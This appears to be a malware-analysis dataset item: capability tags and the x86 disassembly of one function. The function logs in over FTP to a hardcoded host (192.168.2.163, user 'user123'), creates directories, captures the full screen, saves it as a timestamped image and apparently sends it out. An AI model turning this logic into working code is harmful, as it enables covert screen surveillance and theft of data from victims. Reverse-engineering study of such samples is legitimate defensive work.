Function at 0x401ca0
Capabilities:
Capture screenshot
Connect to http server
Create directory
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404713
mov eax, dword fs:[0]
push eax
sub esp, 0x34c
mov eax, dword [0x407018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
push dword [0x4075f8]
mov dword [ebp - 0x350], 0x104
call dword [sym.imp.WININET.dll_FtpGetCurrentDirectoryW]
test eax, eax
jne 0x401d8d
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryW]
mov ebx, dword [sym.imp.WININET.dll_FtpCreateDirectoryW]
mov byte [0x4075c8], al
push 0
push 0
push 0
push 1
push 0
call edi
mov dword [0x4075cc], eax
test eax, eax
jne 0x401d31
xor al, al
jmp 0x401d84
push 0
push 0
push 1
push 0x405284
push str.user123
push 0x15
push str.192.168.2.163
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [0x4075f8], eax
test eax, eax
jne 0x401d5c
xor al, al
jmp 0x401d84
push 0x4075a8
push eax
call esi
test eax, eax
jne 0x401d82
push 0x4075a8
push dword [0x4075f8]
call ebx
push 0x4075a8
push dword [0x4075f8]
call esi
mov al, 1
mov byte [0x4075c8], al
test al, al
je 0x401d18
call dword [sym.imp.MSVCR110.dll_rand]
push 0
call dword [sym.imp.MSVCR110.dll__time64]
mov dword [ebp - 0x358], eax
add esp, 4
lea eax, [ebp - 0x358]
push eax
mov dword [ebp - 0x354], edx
call dword [sym.imp.MSVCR110.dll__localtime64]
mov edi, eax
add esp, 4
mov edx, dword [edi + 0x14]
add edx, 0x76c
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x33c], edi
call fcn.00401340
mov esi, eax
mov byte [ebp - 4], 1
mov edx, dword [edi + 0x1c]
lea ecx, [ebp - 0x2d8]
call fcn.00401340
push 0x4052b8
mov edx, eax
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 2
call fcn.004032c0
add esp, 4
push esi
mov edx, eax
lea ecx, [ebp - 0x2f0]
mov byte [ebp - 4], 3
call fcn.00403360
add esp, 4
cmp dword [ebp - 0x21c], 8
mov ebx, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
jb 0x401e32
push dword [ebp - 0x230]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
cmp dword [ebp - 0x2c4], 8
jb 0x401e63
push dword [ebp - 0x2d8]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x2c4], 7
mov dword [ebp - 0x2c8], 0
mov word [ebp - 0x2d8], ax
mov byte [ebp - 4], 7
cmp dword [ebp - 0x27c], 8
jb 0x401e98
push dword [ebp - 0x290]
call ebx
add esp, 4
mov edx, dword [edi]
xor eax, eax
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x27c], 7
mov dword [ebp - 0x280], 0
mov word [ebp - 0x290], ax
call fcn.00401340
mov edi, eax
mov edx, dword [ebp - 0x33c]
mov byte [ebp - 4], 8
mov edx, dword [edx + 4]
lea ecx, [ebp - 0x260]
call fcn.00401340
mov esi, eax
mov eax, dword [ebp - 0x33c]
mov byte [ebp - 4], 9
mov edx, dword [eax + 8]
lea ecx, [ebp - 0x278]
call fcn.00401340
push 0x4052b8
mov edx, eax
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0xa
call fcn.004032c0
add esp, 4
push esi
mov edx, eax
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0xb
call fcn.00403360
add esp, 4
push 0x4052b8
mov edx, eax
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0xc
call fcn.004032c0
add esp, 4
push edi
mov edx, eax
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 0xd
call fcn.00403360
add esp, 4
cmp dword [ebp - 0x30c], 8
jb 0x401f66
push dword [ebp - 0x320]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x30c], 7
mov dword [ebp - 0x310], 0
mov word [ebp - 0x320], ax
cmp dword [ebp - 0x324], 8
jb 0x401f97
push dword [ebp - 0x338]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x324], 7
mov dword [ebp - 0x328], 0
mov word [ebp - 0x338], ax
cmp dword [ebp - 0x2ac], 8
jb 0x401fc8
push dword [ebp - 0x2c0]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x2ac], 7
mov dword [ebp - 0x2b0], 0
mov word [ebp - 0x2c0], ax
cmp dword [ebp - 0x264], 8
jb 0x401ff9
push dword [ebp - 0x278]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x264], 7
mov dword [ebp - 0x268], 0
mov word [ebp - 0x278], ax
cmp dword [ebp - 0x24c], 8
jb 0x40202a
push dword [ebp - 0x260]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x24c], 7
mov dword [ebp - 0x250], 0
mov word [ebp - 0x260], ax
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x234], 8
jb 0x40205f
push dword [ebp - 0x248]
call ebx
add esp, 4
xor eax, eax
mov word [ebp - 0x248], ax
lea eax, [ebp - 0x2f0]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 0x234], 7
mov dword [ebp - 0x238], 0
call fcn.00403660
add esp, 4
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x294], 8
lea eax, [ebp - 0x2a8]
cmovae eax, dword [ebp - 0x2a8]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
jne 0x4020ca
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4023af
push 0x4052b8
lea edx, [ebp - 0x2f0]
lea ecx, [ebp - 0x248]
call fcn.00403420
add esp, 4
lea ecx, [ebp - 0x308]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0x16
call fcn.00403510
add esp, 4
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x234], 8
jb 0x402116
push dword [ebp - 0x248]
call ebx
add esp, 4
xor eax, eax
push 0x4052c8
lea edx, [ebp - 0x2a8]
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x234], 7
mov dword [ebp - 0x238], 0
mov word [ebp - 0x248], ax
call fcn.00403420
add esp, 4
lea ecx, [ebp - 0x2c0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x19
call fcn.00403510
add esp, 4
push 0x4052bc
mov edx, eax
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0x1a
call fcn.004032c0
add esp, 4
cmp dword [ebp - 0x24c], 8
jb 0x402194
push dword [ebp - 0x260]
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x24c], 7
mov dword [ebp - 0x250], 0
mov word [ebp - 0x260], ax
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x264], 8
jb 0x4021c9
push dword [ebp - 0x278]
call ebx
add esp, 4
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xor eax, eax
push 0x4e
mov dword [ebp - 0x264], 7
mov dword [ebp - 0x268], 0
mov word [ebp - 0x278], ax
call esi
push 0x4f
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
mov dword [ebp - 0x33c], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x340], eax
push 0
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x34c]
push eax
mov dword [ebp - 0x288], 1
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
push esi
push edi
push dword [ebp - 0x33c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push dword [ebp - 0x340]
mov dword [ebp - 0x344], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x33c]
push esi
push edi
push 0
push 0
push dword [ebp - 0x340]
call dword [sym.imp.GDI32.dll_BitBlt]
lea edx, [ebp - 0x2d0]
call fcn.00401bb0
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov edi, dword [ebp - 0x344]
mov esi, eax
test esi, esi
je 0x4022e0
lea eax, [ebp - 0x348]
push eax
push 0
push edi
mov dword [esi], vtable.Gdiplus::Bitmap.0
mov dword [ebp - 0x348], 0
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x348]
mov dword [esi + 4], eax
jmp 0x4022e2
xor esi, esi
cmp dword [ebp - 0x21c], 8
push 0
lea ecx, [ebp - 0x2d0]
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push ecx
push eax
push dword [esi + 4]
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x402310
mov dword [esi + 8], eax
push dword [ebp - 0x34c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
push edi
call esi
push dword [ebp - 0x340]
call esi
push dword [ebp - 0x33c]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
sub esp, 0x18
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x230]
push eax
call fcn.00402830
call fcn.00401b10
add esp, 0x18
cmp dword [ebp - 0x21c], 8
jb 0x40237e
push dword [ebp - 0x230]
call ebx
add esp, 4
xor eax, eax
cmp dword [ebp - 0x2ac], 8
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
jb 0x4023af
push dword [ebp - 0x2c0]
call ebx
add esp, 4
cmp dword [ebp - 0x294], 8
jb 0x4023c3
push dword [ebp - 0x2a8]
call ebx
add esp, 4
xor eax, eax
cmp dword [ebp - 0x2f4], 8
mov dword [ebp - 0x294], 7
mov dword [ebp - 0x298], 0
mov word [ebp - 0x2a8], ax
jb 0x4023f4
push dword [ebp - 0x308]
call ebx
add esp, 4
xor eax, eax
cmp dword [ebp - 0x2dc], 8
mov dword [ebp - 0x2f4], 7
mov dword [ebp - 0x2f8], 0
mov word [ebp - 0x308], ax
jb 0x402425
push dword [ebp - 0x2f0]
call ebx
add esp, 4
xor eax, eax
cmp dword [ebp + 0x1c], 8
mov dword [ebp - 0x2dc], 7
mov dword [ebp - 0x2e0], 0
mov word [ebp - 0x2f0], ax
jb 0x402450
push dword [ebp + 8]
call ebx
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403bc6
mov esp, ebp
pop ebp
ret